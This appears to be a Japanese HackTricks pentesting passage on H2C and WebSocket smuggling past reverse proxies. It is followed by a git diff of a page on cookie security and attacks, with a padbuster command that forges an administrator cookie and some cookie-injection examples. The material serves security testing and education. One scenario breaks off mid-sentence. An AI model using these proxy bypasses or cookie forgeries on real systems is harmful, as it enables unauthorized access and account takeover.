バグはどこにあるのでしょうか?**接続をアップグレードすると、リバースプロキシは個々のリクエストの処理を停止**し、接続が確立されたら、そのルーティングの役割は終了したと想定します。H2C Smugglingを使用すると、H2C接続を最初に確立できれば、リバースプロキシがリクエストの処理時に使用するルールパスベースのルーティング、認証、WAF処理などをバイパスできます。
![](<../.gitbook/assets/image (454).png>)
### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a>
脆弱性の説明からわかるように、プロキシサーバーは**Upgradeヘッダーを転送する必要があり**、**Connectionヘッダー**も正常に転送する必要がある場合があります。
デフォルトでは、次のサービスはプロキシパス中に**Upgrade**と**Connectionヘッダーを転送**し、h2c smugglingをすぐに有効にします。
* HAProxy
* Traefik
* Nuster
デフォルトでは、これらのサービスはプロキシパス中にUpgradeとConnectionヘッダーの両方を転送しませんが、**安全でない方法で構成できます**フィルタリングされていないUpgradeとConnectionヘッダーを渡すことにより
* AWS ALB/CLB
* NGINX
* Apache
* Squid
* Varnish
* Kong
* Envoy
* Apache Traffic Server
### 悪用 <a href="#exploitation" id="exploitation"></a>
元のブログ記事では、準拠したH2C接続のために必要なヘッダーをすべてのサーバーが転送しないことがわかりました。これは、AWS ALB/CLB、NGINX、Apache Traffic ServerなどのロードバランサーはデフォルトではH2C接続を防ぎます。しかし、ブログ記事の最後で、彼は「すべてのバックエンドが準拠していないため、`Connection: Upgrade`バリアントでテストできることに注意しています。この場合、`Connection`ヘッダーから`HTTP2-Settings`の値が省略されます。」
{% hint style="danger" %}
`proxy_pass` URLプロキシが接続を転送するエンドポイントが`http://backend:9999/socket.io`などの特定の**パス**を指していた場合でも、接続は`http://backend:9999`と確立されるため、このテクニックを悪用してその内部エンドポイント内の他のパスにアクセスできます。したがって、proxy_passのURLにパスが指定されているかどうかは重要ではありません。
{% endhint %}
[**https://github.com/BishopFox/h2csmuggler**](https://github.com/BishopFox/h2csmuggler) **および** [**https://github.com/assetnote/h2csmuggler**](https://github.com/assetnote/h2csmuggler)というツールを使用して、H2C接続を確立し、プロキシで保護されたリソースにアクセスするためにプロキシによって課せられた保護を**回避**することができます。
[**Nginxのこの脆弱性に関する詳細情報については、こちらのリンクを参照してください**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)。
## Websocket Smuggling
前のテクニックと同様に、このテクニックは**HTTP2トンネル**をプロキシ経由でアクセス可能なエンドポイントに作成するのではなく、**同じ目的のためにWebsocketトンネル**を作成し、**潜在的なプロキシの制限をバイパス**してエンドポイントに直接アクセスします。
![](<../.gitbook/assets/image (651) (2) (1).png>)
### シナリオ1
バックエンドには公開された**WebSocket API**と、外部からは利用できない**内部REST API**が公開されています。悪意のあるクライアントは内部REST APIにアクセスしたいと考えています。
**最初の**ステップでは、クライアントは**Upgradeリクエスト**をリバースプロキシに送信しますが、ヘッダー`Sec-WebSocket-Version`内に**間違ったプロトコルバージョン**を含めます。**プロキシ**は`Sec-WebSocket-Version`ヘッダーを検証せず、**Upgradeリクエストが正しい**と思います。さらに、リクエストをバックエンドに変換します。
**2番目の**ステップでは、バックエンドは**ステータスコード`426`のレスポンスを送信します**(プロトコルバージョンが正しくないため)。しかし、**リバースプロキシは**バックエンドからの応答(ステータスコードを含む)を**十分にチェックせず、バックエンドがWebSocket通信の準備ができていると思います**。さらに、リクエストをクライアントに変換します。
最終的に、リバース**プロキシは**クライアントとバックエンドの間に**WebSocket接続が確立されたと思います**。実際にはWebSocket接続は存在しません-バックエンドはUpgradeリクエストを拒否しました。同時に、プロキシはクライアントとバックエンドの間のTCPまたはTLS接続を開いたままにします。**クライアントはこの接続を介して簡単にプライベートREST APIにアクセスできます。**
![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
次のリバースプロキシが影響を受けることがわかりました。
* Varnish - チームは説明された問題を修正することを拒否しました。
* Envoy proxy 1.8.0(またはそれ以前)- 新しいバージョンではアップグレードメカニズムが変更されました。
* その他 - TBA。
### シナリオ2
ほとんどのリバースプロキシNGINXは、ハンドシェイクの一部でバックエンドからのステータスコードを**チェック**します。これにより、攻撃は難しくなりますが、不可能ではありません。
2番目のシナリオを見てみましょう。バックエンドには公開されたWebSocket APIと、外部からは利用できない**内部REST API**があります。悪意のあるクライアントは内部REST APIにアクセスしたいと考えています。リバースプロキシとしてNGINXが使用されています。WebSocket APIはパス`/api/socket.io/`で利用可能で、ヘルスチェックAPIはパス`/api/health`で利用可能です。
ヘルスチェックAPIは、POSTリクエストを送信して呼び出され、名前が`u`のパラメータがURLを制御します。バックエンドは外部リソースに到達し、ステータスコードをクライアントに返します。
**最初の**ステップでは、クライアントは**ヘルスチェックAPIを呼び出すためのPOSTリクエストを送信しますが、追加のHTTPヘッダー`Upgrade: websocket`を含めます**。NGINXはこれを**通常のUpgradeリクエスト**と見なし、リクエストの他の部分をスキップして`Upgrade`ヘッダーのみを確認します。さらに、プロキシはリクエストをバックエンドに変換します。
**2番目の**ステップでは、バックエンドがヘルスチェックAPIを呼び出します。悪意のあるユーザーが制御する外部リソースに到達し、HTTP **ステータスコード`101`のレスポンスを返します**。バックエンドはその応答をリバースプロキシに変換します。NGINXは
### ラボ
両方のシナリオをテストするために、[https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)のラボをチェックしてください。
## 参考文献
* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details>

View file

@ -4,14 +4,22 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝** したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード** したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
脆弱性を見つけて修正を迅速化しましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## クッキーの属性 ## クッキーの属性
### Expires & Max-Age ### Expires & Max-Age
@ -21,71 +29,77 @@
### **Domain** ### **Domain**
`Domain`属性は、**どのホストがクッキーを受け取ることができるか**を指定します。指定されていない場合、属性はクッキーを設定した**同じホスト**に**デフォルトで設定**されますが、**サブドメインは除外されます**。**`Domain`が指定されている場合、常にサブドメインが含まれます**。したがって、`Domain`を指定する方が制限が少なくなります。ただし、サブドメインがユーザーに関する情報を共有する必要がある場合に役立ちます。 `Domain`属性は、**どのホストがクッキーを受け取ることができるか**を指定します。指定されていない場合、属性はクッキーを設定した**同じホスト**に**デフォルトで設定**されますが、**サブドメインは除外されます**。**`Domain`が指定されている場合、常にサブドメインが含まれます**。したがって、`Domain`を指定することは省略するよりも制限が少なくなります。ただし、サブドメインがユーザーに関する情報を共有する必要がある場合に役立ちます。
たとえば、`Domain=mozilla.org`と設定した場合、クッキーは`developer.mozilla.org`などのサブドメインで利用できます。しかし、指定しない場合、クッキーはサブドメインに送信されません。 たとえば、`Domain=mozilla.org`と設定した場合、クッキーは`developer.mozilla.org`などのサブドメインで利用できます。しかし、指定しない場合、クッキーはサブドメインに送信されません。
**サブドメイン** `sub.example.com` **が** _ドメイン_ **属性を持つクッキー**を設定した場合、**親ドメイン**へのリクエストでそれが**送信**されます。 **サブドメイン** `sub.example.com` **が** _domain_ **属性を持つクッキー**を設定した場合、**親ドメインへのリクエストで送信**されます。
### **Path** ### **Path**
`Path`属性は、**要求されたURLに存在する必要があるURLパスを示します**。`%x2F`"/")文字はディレクトリセパレータと見なされ、サブディレクトリも一致します。 `Path`属性は、`Cookie`ヘッダーを送信するためにリクエストされたURLに存在する必要がある**URLパス**を示します。`%x2F`"/")文字はディレクトリセパレータと見なされ、サブディレクトリも一致します。
#### 順序 #### 順序
同じ名前の2つのクッキーがある場合、送信されるのは次のものです。 同じ名前の2つのクッキーがある場合、送信されるのは次のものです。
* URLパスに一致する**最も長いパス**を持つもの * URLパスに一致する**最も長いパス**を持つもの
* 両方のパスが同じ場合は**最新**のもの * 両方のパスが同じ場合は**最新のもの**
### SameSite ### SameSite
これにより、ブラウザに**クッキーが他のドメインから送信できるかどうか**を示します。3つの可能な値があります。 これにより、ブラウザに**クッキーが他のドメインから送信できるかどうか**を示します。3つの可能な値があります。
* **Strict**:クッキーはサードパーティのウェブサイトによるリクエストと一緒に送信されません。 * **Strict**:クッキーはサードパーティのウェブサイトによるリクエストとに送信されません。
* **Lax**クッキーはサードパーティのウェブサイトによって開始されたGETリクエストと一緒に送信されます。 * **Lax**クッキーはサードパーティのウェブサイトによって開始されたGETリクエストとに送信されます。
* **None**:クッキーは任意のサードパーティドメインから送信されます。 * **None**:クッキーは任意のサードパーティドメインから送信されます。
| **リクエストタイプ** | **例のコード** | **クッキーが送信される場合** | | **リクエストタイプ** | **例のコード** | **クッキーが送信される場合** |
| ------------------- | ------------------------------------- | ---------------------------- | | ---------------- | ---------------------------------- | --------------------- |
| リンク | \<a href="...">\</a> | NotSet\*、Lax、None | | リンク | \<a href="...">\</a> | NotSet\*, Lax, None |
| プリレンダー | \<link rel="prerender" href=".."/> | NotSet\*、Lax、None | | プリレンダリング | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| フォームGET | \<form method="GET" action="..."> | NotSet\*、Lax、None | | フォームGET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| フォームPOST | \<form method="POST" action="..."> | NotSet\*、None | | フォームPOST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*、None | | iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*、None | | AJAX | $.get("...") | NotSet\*, None |
| 画像 | \<img src="..."> | NetSet\*、None | | 画像 | \<img src="..."> | NetSet\*, None |
[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)からの表を若干修正しました。\ [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)からの表を若干修正しました。\
_SameSite_属性を持つクッキーは、ログインセッションが必要なCSRF攻撃を緩和します。 _SameSite_属性を持つクッキーは、ログインセッションが必要なCSRF攻撃を緩和します。
**\*注意Chrome802019年2月以降、SameSite属性のないクッキーのデフォルト動作はlaxになります**[https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)。\ **\*注意Chrome802019年2月以降、SameSite属性のないクッキーのデフォルト動作はlaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/))。\
一時的に、この変更を適用した後、Chromeの**SameSiteポリシーのないクッキーは最初の2分間はNone**として扱われ、その後はトップレベルのクロスサイトPOSTリクエストではLaxとして扱われます。 一時的に、この変更を適用した後、Chromeの**SameSiteポリシーのないクッキーは最初の2分間はNone**として扱われ、その後はトップレベルのクロスサイトPOSTリクエストではLaxとして扱われます。
## Cookieフラグ
## クッキーのフラグ
### HttpOnly ### HttpOnly
これにより、**クライアント**がクッキーにアクセスできなくなります(たとえば、`document.cookie`を使用したJavaScriptなど)。 これにより、**クライアント**がクッキーにアクセスできなくなります(例えば、**Javascript**経由での`document.cookie`など)。
#### **回避方法** #### **バイパス方法**
* ページがリクエストの応答としてクッキーを送信している場合(たとえば、**PHPinfo**ページなど、XSSを悪用してこのページにリクエストを送信し、応答からクッキーを**盗む**ことができます([https://hackcommander.github.io/pentesting-article-1/)](https://hackcommander.github.io/pentesting-article-1/)で例を確認してください)。 * ページがリクエストの応答としてクッキーを送信している場合(えば、**PHPinfo**ページなど、XSSを悪用してこのページにリクエストを送信し、応答からクッキーを**盗む**ことができます([https://hackcommander.github.io/pentesting-article-1/](https://hackcommander.github.io/pentesting-article-1/)で例を確認してください)。
* この技術は、サーバーからの応答このHTTPメソッドが利用可能な場合である**TRACE** **HTTP**リクエストによってバイパスされる可能性があります。この技術は**クロスサイトトラッキング**と呼ばれます。 * サーバーからの応答として、**TRACE** **HTTP**リクエストをバイパスすることができますこのHTTPメソッドが利用可能な場合。この技術は**クロスサイトトラッキング**と呼ばれます。
* この技術は、**現代のブラウザではTRACEリクエストをJSから送信できない**ことによって回避されます。ただし、IE6.0 SP2に対して`TRACE`ではなく`\r\nTRACE`を送信するなど、特定のソフトウェアでこれをバイパスする方法が見つかっています。 * この技術は、**モダンブラウザではTRACEリクエストをJSから送信できない**ようにすることで回避されます。ただし、IE6.0 SP2に対して`TRACE`ではなく`\r\nTRACE`を送信するなど、特定のソフトウェアでこれを回避する方法が見つかっています。
* 別の方法は、ブラウザのゼロデイ脆弱性を悪用することです。 * 別の方法は、ブラウザのゼロデイ脆弱性を悪用することです。
* クッキージャーオーバーフローアタックを * **HttpOnlyクッキーを上書き**することができます。Cookie Jarオーバーフローアタックを実行することで
### セキュア
リクエストは、リクエストがセキュアなチャネル通常はHTTPSを介して送信される場合にのみ、クッキーをHTTPリクエストで送信します。 {% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
* [**Cookie Smuggling**](./#cookie-smuggling)攻撃を使用してこれらのクッキーを外部に流出させることができます。
### Secure
リクエストは、通常**HTTPS**を介して送信される場合にのみクッキーを送信します。
## クッキーの接頭辞 ## クッキーの接頭辞
**`__Secure-` 接頭辞**セキュアなページHTTPSから `secure` フラグとともに設定する必要があります。 **`__Secure-`接頭辞**セキュアなページHTTPSから`secure`フラグと共に設定する必要があります。
**`__Host-` 接頭辞**セキュアなページHTTPSから `secure` フラグとともに設定する必要があり、ドメインが指定されていない(したがって、サブドメインには送信されない)必要があり、パスは `/` である必要があります。 **`__Host-`接頭辞**セキュアなページHTTPSから`secure`フラグと共に設定する必要があり、ドメインが指定されていない(したがって、サブドメインに送信されない)必要があり、パスは`/`である必要があります。
`__Host-` 接頭辞のクッキーは、スーパードメイン(サブドメインからドメインへのクッキー)またはサブドメイン(ドメインからサブドメインへのクッキー)に送信することはできないため、アプリケーションのクッキーを分離したい場合は、すべてを `__Host-` で接頭辞を付けることは悪い考えではありません。 `__Host-`接頭辞のクッキーは、スーパードメイン(サブドメインからドメインへのクッキー)またはサブドメイン(ドメインからサブドメインへのクッキー)に送信することはできないため、アプリケーションのクッキーを分離したい場合は、すべてを`__Host-`で接頭辞付けることは悪い考えではありません。
## クッキー攻撃 ## クッキー攻撃
@ -93,7 +107,7 @@ _SameSite_属性を持つクッキーは、ログインセッションが必要
### クッキーのデコード ### クッキーのデコード
もし、**クッキー**がベースエンコーディングBase64などを使用している場合、それを**デコード**し、**内容****変更**し、任意のユーザーを**なりすます**ことができるかもしれません。 クッキーがベースエンコーディングBase64などなどを使用している場合、それを**デコード**し、**内容を変更**し、任意のユーザーを**なりすます**ことができるかもしれません。
### セッションハイジャック ### セッションハイジャック
@ -101,9 +115,9 @@ _SameSite_属性を持つクッキーは、ログインセッションが必要
### セッションフィクセーション ### セッションフィクセーション
攻撃者はウェブページからクッキーを取得し、被害者に対して同じクッキーを使用して**ログイン**するようにリンクを送信します。ユーザーがログインするときにクッキーが変更されない場合、これは有用です。攻撃者はクッキーを介してユーザーをなりすますことができる可能性があります。 攻撃者はウェブページからクッキーを取得し、被害者に対して同じクッキーを使用して**ログインするようにリンクを送信**します。ユーザーがログイン時にクッキーが変更されない場合、これは有用です。攻撃者はクッキーを介してユーザーをなりすますことができます。
もし、サブドメインで **XSS** を見つけたり、サブドメインを **制御** している場合は、次を参照してください: もし、サブドメインで**XSSを見つけた**か、サブドメインを**制御している**場合は、次を参照してください:
{% content-ref url="cookie-tossing.md" %} {% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md) [cookie-tossing.md](cookie-tossing.md)
@ -111,9 +125,9 @@ _SameSite_属性を持つクッキーは、ログインセッションが必要
### セッション寄付 ### セッション寄付
攻撃者は自分のセッションを被害者に送信します。被害者は自分がすでにログインしていると見なし、自分のアカウント内にいると思うでしょうが、**アクションは攻撃者のアカウント内で実行されます**。 攻撃者は自分のセッションを被害者に送信します。被害者は自分がすでにログインしていると見なし、自分のアカウント内にいると思うでしょうが、**実際には攻撃者のアカウント内で操作が行われます**。
もし、サブドメインで **XSS** を見つけたり、サブドメインを **制御** している場合は、次を参照してください: もし、サブドメインで**XSSを見つけた**か、サブドメインを**制御している**場合は、次を参照してください:
{% content-ref url="cookie-tossing.md" %} {% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md) [cookie-tossing.md](cookie-tossing.md)
@ -135,7 +149,7 @@ document.cookie = "b=v2"
``` ```
a=v1; test value; b=v2; a=v1; test value; b=v2;
``` ```
より興味深いことに、もし何らかの方法で**空のクッキーを設定する**ことができるベクトルを持っている場合、**他のどのクッキーでも制御する**ことができます。 興味深いことに、もし何らかの方法で**空のクッキーを設定することができるベクトル**がある場合、**他のどのクッキーでも制御することができます**
```js ```js
function setCookie(name, value) { function setCookie(name, value) {
document.cookie = `${name}=${value}`; document.cookie = `${name}=${value}`;
@ -143,7 +157,7 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // this sets the empty cookie to a=b setCookie("", "a=b"); // this sets the empty cookie to a=b
``` ```
ブラウザ内部では名前のない空のクッキーとして設定されていますが、これにより**送信されるクッキーヘッダー**が生成されます: ブラウザ内部では、これは空の名前付きクッキーとして設定されていますが、**送信されるクッキーヘッダー**に結果が表示されます:
``` ```
a=b; a=b;
``` ```
@ -151,7 +165,7 @@ a=b;
### Chromeのバグ - document.cookieの破損 <a href="#chrome-bugdocumentcookie-corruption" id="chrome-bugdocumentcookie-corruption"></a> ### Chromeのバグ - document.cookieの破損 <a href="#chrome-bugdocumentcookie-corruption" id="chrome-bugdocumentcookie-corruption"></a>
セットされたクッキーにUnicodeサロゲートコードポイントが含まれている場合、`document.cookie`は永久に破損し、空の文字列を返します。 もしセットされたcookieにUnicodeサロゲートコードポイントが含まれている場合、`document.cookie`は永久に破損し、空の文字列を返します。
```js ```js
document.cookie document.cookie
// "a=b;" // "a=b;"
@ -161,9 +175,9 @@ document.cookie
``` ```
### クッキーのスマグリング ### クッキーのスマグリング
JavaのウェブサーバーであるJetty、TomCat、Undertow、およびPythonのウェブフレームワークであるZope、さらにはcherrypy、web.py、aiohttp server、bottle、およびwebobなどのPythonウェブサーバー/フレームワークを含むいくつかのウェブサーバーは、RFC2965のサポートが残っているため、クッキー文字列を**誤って解析**します。RFC2965は、引用符付き文字列の定義にRFC2616を使用する古いクッキーの引用符付きメカニズムです。 JavaのウェブサーバーであるJetty、TomCat、Undertow、およびPythonのウェブフレームワークであるZope、さらにはcherrypy、web.py、aiohttp server、bottle、およびwebobなどのPythonウェブサーバー/フレームワークを含むいくつかのウェブサーバーは、RFC2965のサポートが残っているため、クッキー文字列を**正しく解析しない**ことがわかっています。RFC2965は、クォートされた文字列の定義にRFC2616を使用する古いクッキーの引用メカニズムです。
具体的には、**これらのサーバーは、セミコロンが出現した場合でも、ダブルクォートdquotedのクッキー値をエンカウントすると、クッキー文字列の読み取りを続けます**。これは問題です、なぜなら**セミコロンはクッキー文字列内のキーと値のペアを区切るために使用されるべきだからです**。 具体的には、**これらのサーバーは、ダブルクォートdquotedのクッキー値に遭遇した場合でも、セミコロンが出現するまでクッキー文字列の読み取りを続けます**。これは問題です、なぜなら**セミコロンはクッキー文字列内のキーと値のペアを区切るために使用されるべきだからです**。
例えば、**ブラウザがRENDER\_TEXT、JSESSIONID、およびASDFの3つのクッキーを送信した場合**、 例えば、**ブラウザがRENDER\_TEXT、JSESSIONID、およびASDFの3つのクッキーを送信した場合**、
```basic ```basic
@ -175,7 +189,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
### クッキーインジェクション ### クッキーインジェクション
JavaのUndertow、PythonのZope、およびPythonの標準ライブラリhttp.cookie.SimpleCookiehttp.cookie.BaseCookieを使用している多くのWebサーバーは、**クッキーを誤って解析し、次のクッキー名/値ペアを開始するための間違った区切り文字を使用**していることが判明しています。これにより、攻撃者は**1つのクッキー値のみを制御しながら複数のクッキーを偽装**することができます。 JavaのUndertow、PythonのZope、およびPythonの標準ライブラリhttp.cookie.SimpleCookieおよびhttp.cookie.BaseCookieを使用している多くのWebサーバーは、**クッキーを誤って解析し、次のクッキー名/値ペアを開始するための間違った区切り文字を使用**していることが判明しています。これにより、攻撃者は**1つのクッキー値のみを制御しながら複数のクッキーを偽装**することができます。
**Undertow**の場合、セミコロンを待たずに、**引用符で囲まれた**クッキー値の終わりの直後に次のクッキーの解析を開始します。 **Undertow**の場合、セミコロンを待たずに、**引用符で囲まれた**クッキー値の終わりの直後に次のクッキーの解析を開始します。
```bash ```bash
@ -204,15 +218,15 @@ LANGUAGE=en-us CSRF_TOKEN=SPOOFED_VALUE
* 同じクッキーを使用して、2つのデバイスまたはブラウザで同じアカウントにログインしようとしてみてください。 * 同じクッキーを使用して、2つのデバイスまたはブラウザで同じアカウントにログインしようとしてみてください。
* クッキーに情報が含まれているかどうかを確認し、それを変更してみてください。 * クッキーに情報が含まれているかどうかを確認し、それを変更してみてください。
* ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見えるかどうかを確認してください。 * ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見えるかどうかを確認してください。
* 存在する場合、"**remember me**"オプションをチェックして動作を確認してください。脆弱性がある場合は、常に**remember me**のクッキーのみを使用して他のクッキーを使用しないでください。 * 存在する場合、"**remember me**"オプションをチェックして動作を確認してください。脆弱性がある場合は、常に**remember me**のクッキーのみを使用してください。
* パスワードを変更した後でも、以前のクッキーが機能するかどうかを確認してください。 * パスワードを変更した後でも、以前のクッキーが機能するかどうかを確認してください。
#### **高度なクッキー攻撃** #### **高度なクッキー攻撃**
クッキーがログイン時に変わらない(またはほぼ変わらない)場合、おそらくクッキーはアカウントのいくつかのフィールド(おそらくユーザー名)に関連しています。その場合、次のことができます: クッキーがログイン時に変わらない(またはほぼ変わらない)場合、おそらくクッキーはアカウントのいくつかのフィールド(おそらくユーザー名)に関連しています。その場合、次のことができます:
* 非常に**類似した**ユーザー名で多くの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。 * 非常に**類似した**ユーザー名で多くの**アカウント**を作成し、アルゴリズムがどのように機能しているかを推測してみてください。
* **ユーザー名をブルートフォース**してみてください。クッキーがユーザー名の認証方法として保存される場合、ユーザー名が「**Bmin**」のアカウントを作成し、クッキーの**すべてのビット**をブルートフォースすることができます。なぜなら、試すクッキーの1つは「**admin**」に属するクッキーであるからです。 * **ユーザー名をブルートフォース**してみてください。クッキーがユーザー名の認証方法として保存される場合、ユーザー名が「**Bmin**」のアカウントを作成し、クッキーの各ビットをブルートフォースしてみてください。試すクッキーの1つは「**admin**」に属するクッキーです。
* **Padding Oracle**を試してみてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。 * **Padding Oracle**を試してみてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
**Padding Oracle - Padbusterの例** **Padding Oracle - Padbusterの例**
@ -233,7 +247,7 @@ Padbusterは複数の試行を行い、どの条件がエラー条件無効
``` ```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
``` ```
この実行では、文字列**user=administrator**が内部正しく暗号化およびエンコードされたクッキーが取得されます。 この実行では、文字列**user=administrator**が内部正しく暗号化およびエンコードされたクッキーが取得されます。
**CBC-MAC** **CBC-MAC**
@ -248,28 +262,35 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**ECB** **ECB**
クッキーがECBを使用して暗号化されている場合、脆弱性がある可能性があります。\ クッキーがECBを使用して暗号化されている場合、脆弱性がある可能性があります。\
ログインすると受け取るクッキーは常に同じでなければなりません。 ログインするときに受け取るクッキーは常に同じでなければなりません。
**検出および攻撃方法:** **検出攻撃方法:**
